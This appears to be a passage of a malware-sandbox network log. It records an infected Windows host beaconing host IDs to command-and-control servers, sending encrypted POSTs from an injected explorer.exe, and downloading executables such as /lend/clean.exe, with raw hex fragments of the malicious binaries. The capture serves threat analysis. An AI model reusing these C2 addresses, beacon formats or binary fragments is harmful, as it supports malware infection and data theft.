5a 70 66 e8 63 0a 65 e9 1b 70 66 e8 67 0a 63 e9 02 70 66 e8 67 0a 64 e9 02 70 66 e8 52 69 63 68 03 70 66 e8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 8b 3b 0d 65 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 20 00 dc 0a 00 00 fa 08 00 00 00 00 00 f4 d1 04 00 00 10 00 00 00 10 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 1d 00 00 06 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 bc 32 18 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 18 00 2c 51 00 00 f0 d0 10 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8c d9 10 00 18 00 00 00 08 d0 10 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 18 00 bc 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 62 73 73 7c bf 04 00 00 10 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 e0 2e 74 65 78 74 00 00 00 8f da 0a 00 00 d0 04 00 00 dc 0a 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 83 b9 01 00 00 b0 0f 00 00 ba 01 00 00 e2 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 18 be 06 00 00 70 11 00 00 a0 06 00 00 9c 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 80 12 00 00 00 30 18 00 00 14 00 00 00 3c 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 09 03 00 00 00 50 18 00 00 04 00 00 00 50 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 0e 01 00 00 00 60 18 00 00 02 00 00 00 54 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 1e 64 00 00 00 70 18 00 00 66 00 00 00 56 13 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 42 65 6c 6c 00 00 00 44 94 04 00 00 e0 18 00 00 96 04 00 00 bc 13 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$GpfpfpfepfcpfbpfgpfpgpfcbpfccZpfcepfgcpfgdpfRichpfPEL;e @@2(p,Q8@0.textbss\|.text `.rdata@@.datap@.idata0<@@.tlsPP@.00cfg`T@@.relocdpfV@B.BellD
Sep 23, 2023 17:53:32.592797995 CEST	19487	IN	Data Raw: cc 1a 08 00 e9 e4 cd 02 00 e9 93 c9 04 00 e9 53 c0 05 00 e9 3a c0 05 00 e9 fd 2b 04 00 e9 c0 cd 03 00 e9 c1 cb 01 00 e9 a3 cb 05 00 e9 c4 cc 04 00 e9 80 a0 08 00 e9 ad f2 05 00 e9 4a 67 01 00 e9 d9 df 06 00 e9 f8 ee 05 00 e9 f9 4b 09 00 e9 89 c2 Data Ascii: S:+JgKnsMoBu:~gOhNB@^skFhzUTdE
Sep 23, 2023 17:53:32.592813969 CEST	19489	IN	Data Raw: 00 e9 0e 7d 02 00 e9 d6 1f 02 00 e9 27 5a 06 00 e9 74 69 08 00 e9 ae 30 01 00 e9 e9 93 01 00 e9 c4 7d 01 00 e9 0d 3d 08 00 e9 44 23 02 00 e9 05 3a 0a 00 e9 46 24 0a 00 e9 ac 4a 06 00 e9 7d 72 03 00 e9 1b d9 03 00 e9 65 69 03 00 e9 e6 95 02 00 e9 Data Ascii: }'Zti0}=D#:F$J}rei"?Z5K%/%"*6Ut WXt:edS\HYf+;DL?
Sep 23, 2023 17:53:32.592874050 CEST	19490	IN	Data Raw: d8 32 01 00 e9 53 74 01 00 e9 f9 a6 02 00 e9 59 76 01 00 e9 2e c8 09 00 e9 48 e6 06 00 e9 58 e5 05 00 e9 70 75 07 00 e9 d6 d4 07 00 e9 fe 64 05 00 e9 30 30 09 00 e9 65 95 03 00 e9 fb 14 02 00 e9 57 02 01 00 e9 b2 dd 07 00 e9 4a aa 02 00 e9 d2 78 Data Ascii: 2StYv.HXpud00eWJxPZC8Hn%*.HTXjZoq!paP\|<<zyR
Sep 23, 2023 17:53:32.592936039 CEST	19491	IN	Data Raw: 05 00 e9 65 e9 01 00 e9 ac a4 05 00 e9 a5 3e 06 00 e9 5a 26 09 00 e9 20 4e 08 00 e9 d7 a0 04 00 e9 1b 3a 01 00 e9 da 9a 05 00 e9 e1 79 01 00 e9 28 07 0a 00 e9 a7 1f 01 00 e9 12 1d 01 00 e9 3a a6 08 00 e9 b8 9c 04 00 e9 0f b5 03 00 e9 2a 25 03 00 Data Ascii: e>Z& N:y(:*%;cghz%E`h+[DLoF-
Sep 23, 2023 17:53:32.592998028 CEST	19493	IN	Data Raw: 04 00 e9 87 94 08 00 e9 f7 f4 05 00 e9 dd 5f 01 00 e9 0b 79 02 00 e9 83 56 01 00 e9 4b f1 07 00 e9 ff 83 08 00 e9 54 56 01 00 e9 66 e7 07 00 e9 5a 1c 06 00 e9 c5 6b 01 00 e9 f0 43 01 00 e9 d9 65 08 00 e9 f6 b5 01 00 e9 d8 97 06 00 e9 37 cc 05 00 Data Ascii: _yVKTVfZkCe7w{j=L10Q5,7fJw.zT3+0h;`q
Sep 23, 2023 17:53:32.593029022 CEST	19494	IN	Data Raw: e9 e3 01 06 00 e9 1f a8 06 00 e9 e8 a3 03 00 e9 5b f0 09 00 e9 59 0f 01 00 e9 14 c9 03 00 e9 4f 27 01 00 e9 57 14 09 00 e9 fe 62 06 00 e9 a7 ca 06 00 e9 2b 8f 01 00 e9 5f b7 04 00 e9 81 92 01 00 e9 07 64 05 00 e9 76 d3 07 00 e9 d2 ce 01 00 e9 2d Data Ascii: [YO'Wb+_dv-[m7tHxvf-c=qYXT5Ls/{=
Sep 23, 2023 17:53:32.593153000 CEST	19495	IN	Data Raw: 7d 01 00 e9 d8 ba 03 00 e9 2c 24 02 00 e9 98 c6 01 00 e9 38 d3 07 00 e9 aa 2b 05 00 e9 f5 5d 01 00 e9 60 46 01 00 e9 72 30 04 00 e9 86 6d 07 00 e9 a5 be 05 00 e9 1c e0 05 00 e9 7c d2 05 00 e9 b5 cc 01 00 e9 8d bf 08 00 e9 a3 03 04 00 e9 b3 5c 01 Data Ascii: },$8+]`Fr0m\|\BIu2q3 nsZvrHNL_L@mTw3WZ?
Sep 23, 2023 17:53:32.921457052 CEST	19497	IN	Data Raw: 00 e9 44 28 01 00 e9 85 05 04 00 e9 7a 3d 01 00 e9 92 05 05 00 e9 ed 10 04 00 e9 13 7f 02 00 e9 c2 58 02 00 e9 6d c4 07 00 e9 1d c1 02 00 e9 04 9a 02 00 e9 06 52 06 00 e9 85 94 04 00 e9 42 99 02 00 e9 a4 26 04 00 e9 ae 40 01 00 e9 3c ab 03 00 e9 Data Ascii: D(z=XmRB&@<v9lOpx}~ylFh:{1\|Bg

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.4	49840	5.42.92.211	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Timestamp	kBytes transferred	Direction	Data
Sep 23, 2023 17:53:36.418009996 CEST	21309	OUT	POST /loghub/master HTTP/1.1 Content-Type: multipart/form-data; boundary=Mo0TSuwY3ug7QKiiMsCE Content-Length: 213 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1) Host: 5.42.92.211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 4d 6f 30 54 53 75 77 59 33 75 67 37 51 4b 69 69 4d 73 43 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 4e 55 49 78 4e 7a 63 77 4d 54 46 45 4d 45 4d 78 4d 7a 55 78 4e 7a 6b 78 4e 54 59 78 4e 51 3d 3d 0d 0a 2d 2d 4d 6f 30 54 53 75 77 59 33 75 67 37 51 4b 69 69 4d 73 43 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 63 33 56 72 59 57 67 3d 0d 0a 2d 2d 4d 6f 30 54 53 75 77 59 33 75 67 37 51 4b 69 69 4d 73 43 45 2d 2d 0d 0a Data Ascii: --Mo0TSuwY3ug7QKiiMsCEContent-Disposition: form-data; name="hwid"NUIxNzcwMTFEMEMxMzUxNzkxNTYxNQ==--Mo0TSuwY3ug7QKiiMsCEContent-Disposition: form-data; name="build"c3VrYWg=--Mo0TSuwY3ug7QKiiMsCE--
Sep 23, 2023 17:53:36.843682051 CEST	21377	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Sep 2023 15:53:36 GMT Content-Type: text/html; charset=utf-8 Content-Length: 8 Connection: keep-alive X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: same-origin
Sep 23, 2023 17:53:36.843700886 CEST	21377	IN	Data Raw: 54 6b 38 4e 43 67 3d 3d Data Ascii: Tk8NCg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.4	49841	77.91.68.29	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 23, 2023 17:53:36.527231932 CEST	21315	OUT	POST /fks/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wthgnusaf.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 218 Host: 77.91.68.29
Sep 23, 2023 17:53:36.527273893 CEST	21316	OUT	Data Raw: 14 6d 64 7c 4e 16 65 83 fc 7d d2 5d 02 a6 11 54 40 83 85 5b ce 15 13 36 e5 9f 40 ab f0 dd b5 91 e9 ad 31 be cb 86 6f d2 78 70 7d b1 74 f5 59 fb 08 ff e2 b6 02 7a b6 b5 08 2d 62 7f 1f e1 68 05 94 04 50 e7 29 af a7 d5 f3 c9 39 df 28 fc c9 20 a3 27 Data Ascii: md\|Ne}]T@[6@1oxp}tYz-bhP)9( 'N^;nlUW8tOm}ZP1r))a]qjHOz T[<@kBn"t\|%nqDqapgwclFOj9z&Q[w)6n$T
Sep 23, 2023 17:53:36.865725040 CEST	21378	IN	HTTP/1.1 404 Not Found Date: Sat, 23 Sep 2023 15:53:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 403 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 66 6b 73 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 37 37 2e 39 31 2e 36 38 2e 32 39 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /fks/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 77.91.68.29 Port 80</address></body></html>
Sep 23, 2023 17:53:36.903069973 CEST	21378	OUT	POST /fks/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ifasstomb.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 234 Host: 77.91.68.29
Sep 23, 2023 17:53:36.903160095 CEST	21379	OUT	Data Raw: 14 6d 64 7c 4e 16 65 83 fc 7d d2 5d 02 a6 11 54 40 83 85 5b ce 15 13 36 e5 9f 40 ab f0 dd b5 91 e9 ad 31 be cb 86 6f d2 78 70 7d b1 74 f5 59 fb 08 ff e2 b6 02 7a b6 b5 08 2d 62 7f 1f e1 68 05 94 04 50 e7 28 af a4 d5 f3 c9 38 df 28 fc ec 32 9b 6b Data Ascii: md\|Ne}]T@[6@1oxp}tYz-bhP(8(2k)Nfhx7D;Yi/@WE=#2=[=xXvK^d'(z"VB);8C%QnPJW#VMlaGp#.=B$uvCc{a5
Sep 23, 2023 17:53:37.229485989 CEST	21484	IN	HTTP/1.1 404 Not Found Date: Sat, 23 Sep 2023 15:53:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 47 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Data Raw: 00 00 87 48 0e 3e 83 15 b2 bb 39 c8 39 c3 24 4a 59 cd fb c7 0b fb 57 b6 e0 73 6b 98 d0 49 be ce 38 96 b3 71 59 ec 18 a2 57 2d d5 17 87 f5 7d Data Ascii: H>99$JYWskI8qYW-}

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.4	49844	77.91.68.29	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 23, 2023 17:53:37.428561926 CEST	21583	OUT	POST /fks/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rkuen.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 129 Host: 77.91.68.29
Sep 23, 2023 17:53:37.428580999 CEST	21583	OUT	Data Raw: 14 6d 64 7c 4e 16 65 83 fc 7d d2 5d 02 a6 11 54 40 83 85 5b ce 15 13 36 e5 9f 40 ab f0 dd b5 91 e9 ad 31 be cb 86 6f d2 78 70 7d b1 74 f5 59 fb 08 ff e2 b6 02 7a b6 b5 08 2d 62 7f 1f e1 68 05 94 04 50 e7 28 af a5 d5 f3 c9 38 df 28 fc e6 2d a8 65 Data Ascii: md\|Ne}]T@[6@1oxp}tYz-bhP(8(-eCYXf?l\|+}6n/XrZ'FB43#2%SI
Sep 23, 2023 17:53:37.764673948 CEST	21649	IN	HTTP/1.1 404 Not Found Date: Sat, 23 Sep 2023 15:53:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 45 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Data Raw: 00 00 87 48 0e 3e 83 15 b2 bb 39 c8 39 c3 24 4a 59 cd fb c7 0b fb 57 b6 e0 73 6b 98 d0 49 be ce 38 96 b3 71 5b f3 1e a2 08 66 c8 41 87 Data Ascii: H>99$JYWskI8q[fA
Sep 23, 2023 17:53:41.486613989 CEST	23755	OUT	POST /fks/ HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://csdduql.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 304 Host: 77.91.68.29
Sep 23, 2023 17:53:41.486660004 CEST	23755	OUT	Data Raw: 14 6d 64 7c 4e 16 65 83 fc 7d d2 5d 02 a6 11 54 40 83 85 5b ce 15 13 36 e5 9f 40 ab f0 dd b5 91 e9 ad 31 be cb 86 6f d2 78 70 7d b1 74 f5 59 fb 08 ff e2 b6 02 7a b6 b5 08 2d 62 7f 1f e1 68 05 94 04 50 e7 29 af a5 d5 f3 c9 38 df 28 fc fe 6b b0 7c Data Ascii: md\|Ne}]T@[6@1oxp}tYz-bhP)8(k\|u@vf'C^)$lX?SCR2\#EyV+G,<6 W!xP?H$zjWaC@rSzzt0E]3N_EOyYf-$+?jWgy:ipx
Sep 23, 2023 17:53:41.813077927 CEST	23887	IN	HTTP/1.1 404 Not Found Date: Sat, 23 Sep 2023 15:53:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 403 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 66 6b 73 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 37 37 2e 39 31 2e 36 38 2e 32 39 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /fks/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 77.91.68.29 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.4	49845	77.91.68.78	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 23, 2023 17:53:38.108397961 CEST	21896	OUT	GET /lend/clean.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 77.91.68.78
Sep 23, 2023 17:53:38.431087017 CEST	22159	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e9 38 da 77 f4 38 da 77 18 37 da 77 c3 36 da 77 9d 35 da 77 51 78 da 77 c2 b4 db 77 0c 2d da 77 a4 46 da 77 Data Ascii: 8w8w7w6w5wQxww-wFwb<w?wI:w>w}w<3w5w,(wP)w[wwJw$wwAw5vwwwww)wbw7wEw9w;wwXwwwUwg-wpw0Ewwnwwz
Sep 23, 2023 17:53:38.431128025 CEST	22160	IN	Data Raw: 68 e0 a2 00 01 ff 75 fc ff 15 20 10 00 01 ff 75 fc ff 15 1c 10 00 01 c9 c3 55 8d ac 24 60 fe ff ff 81 ec 20 02 00 00 a1 cc a2 00 01 56 57 6a 40 59 89 85 9c 01 00 00 33 c0 c6 85 98 00 00 00 00 8d bd 99 00 00 00 f3 ab 66 ab 6a 40 59 aa 33 c0 c6 45 Data Ascii: hu uU$` VWj@Y3fj@Y3E}fEP3EPVhVVVhhu0SuuhWEPVVVWu,uE9]\|9]uu4SEPdh
Sep 23, 2023 17:53:38.431366920 CEST	22162	IN	Data Raw: 06 84 c0 0f 85 66 ff ff ff 5d 5b c6 07 00 8b 8c 24 0c 01 00 00 5f 5e e8 31 3a 00 00 81 c4 08 01 00 00 c2 08 00 55 8d ac 24 6c fa ff ff 81 ec 14 06 00 00 a1 cc a2 00 01 53 56 8b 35 88 10 00 01 57 ff b5 9c 05 00 00 89 85 90 05 00 00 8d 85 88 03 00 Data Ascii: f][$_^1:U$lSV5WP"uhHhDEEP?}WEuhDPWP:WPj.WD;h<PpP:uPjP
Sep 23, 2023 17:53:38.431467056 CEST	22163	IN	Data Raw: 1c 33 c0 89 be c0 b4 00 01 89 86 c8 b4 00 01 89 86 d0 b4 00 01 89 86 cc b4 00 01 eb 1d ff b6 d4 b4 00 01 ff 15 e4 10 00 01 85 c0 74 0a 33 c0 89 be c0 b4 00 01 eb 03 83 c8 ff 5f 5e c3 55 8b ec 8b 45 08 8b 4d 10 8d 04 40 c1 e0 03 83 b8 c4 b4 00 01 Data Ascii: 3t3_^UEM@u2tItIuZMMM]tItIujY3A3MQjuu]UEV4@u3>EPuutE
Sep 23, 2023 17:53:38.431557894 CEST	22165	IN	Data Raw: 10 00 01 ff b5 a0 00 00 00 8d 45 88 50 e8 20 27 00 00 56 68 80 00 00 00 6a 02 56 56 68 00 00 00 40 8d 45 88 50 ff 15 08 11 00 01 8b f8 83 ff ff 75 0f c7 05 5c aa 00 01 52 00 07 80 89 75 84 eb 38 53 8b 9d 98 00 00 00 56 8d 45 80 50 53 ff b5 a4 00 Data Ascii: EP 'VhjVVh@EPu\Ru8SVEPSWt;]t\RuW[E_^%UEhDPuPm&PtujjPu
Sep 23, 2023 17:53:38.431608915 CEST	22166	IN	HTTP/1.1 200 OK Date: Sat, 23 Sep 2023 15:53:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Sat, 23 Sep 2023 13:24:01 GMT ETag: "49200-60606a363e697" Accept-Ranges: bytes Content-Length: 299520 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 38 cf 9c c9 7c ae f2 9a 7c ae f2 9a 7c ae f2 9a ff a6 af 9a 71 ae f2 9a 7c ae f3 9a f9 ae f2 9a f2 a6 ad 9a 67 ae f2 9a ff a6 ac 9a 7d ae f2 9a ff a6 a8 9a 7d ae f2 9a 52 69 63 68 7c ae f2 9a 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 62 00 80 3e 00 00 00 00 00 00 00 00 e0 00 0f 01 0b 01 07 0a 00 90 00 00 00 fe 03 00 00 00 00 00 3c 5d 00 00 00 10 00 00 00 a0 00 00 00 00 00 01 00 10 00 00 00 02 00 00 05 00 02 00 05 00 02 00 04 00 00 00 00 00 00 00 00 c0 04 00 00 04 00 00 f3 e6 04 00 02 00 00 84 00 00 04 00 00 20 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 93 00 00 8c 00 00 00 00 c0 00 00 d0 f9 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 2c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 74 8f 00 00 00 10 00 00 00 90 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 ec 1b 00 00 00 a0 00 00 00 04 00 00 00 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 d0 f9 03 00 00 c0 00 00 00 fa 03 00 00 98 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 95 24 80 3e 40 00 00 00 94 24 80 3e 4d 00 01 00 94 24 80 3e 5a 00 00 00 96 24 80 3e 64 00 00 00 95 24 80 3e 6e 00 00 00 98 24 80 3e 79 00 00 00 96 24 80 3e 86 00 00 00 00 00 00 00 00 00 00 00 41 44 56 41 50 49 33 32 2e 64 6c 6c 00 4b 45 52 4e 45 4c 33 32 2e 64 6c 6c 00 4e 54 44 4c 4c 2e 44 4c 4c 00 47 44 49 33 32 2e 64 6c 6c 00 55 53 45 52 33 32 2e 64 6c 6c 00 43 4f 4d 43 54 4c 33 32 2e 64 6c 6c 00 56 45 52 53 49 4f 4e 2e 64 6c 6c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8\|\|\|q\|g}}Rich\|PELb><] L0,.textt `.data@.rsrc@@$>@$>M$>Z$>d$>n$>y$>ADVAPI32.dllKERNEL32.dllNTDLL.DLLGDI32.dllUSER32.dllCOMCTL32.dllVERSION.dll
Sep 23, 2023 17:53:38.431689024 CEST	22167	IN	Data Raw: 65 6c 33 32 2e 64 6c 6c 00 00 00 00 43 6f 6e 74 72 6f 6c 20 50 61 6e 65 6c 5c 44 65 73 6b 74 6f 70 5c 52 65 73 6f 75 72 63 65 4c 6f 63 61 6c 65 00 00 00 00 00 00 00 00 00 00 00 00 01 01 02 02 03 03 04 04 05 05 06 06 07 07 08 08 09 09 0a 0a 0b 0b Data Ascii: el32.dllControl Panel\Desktop\ResourceLocale.>^~~/?_
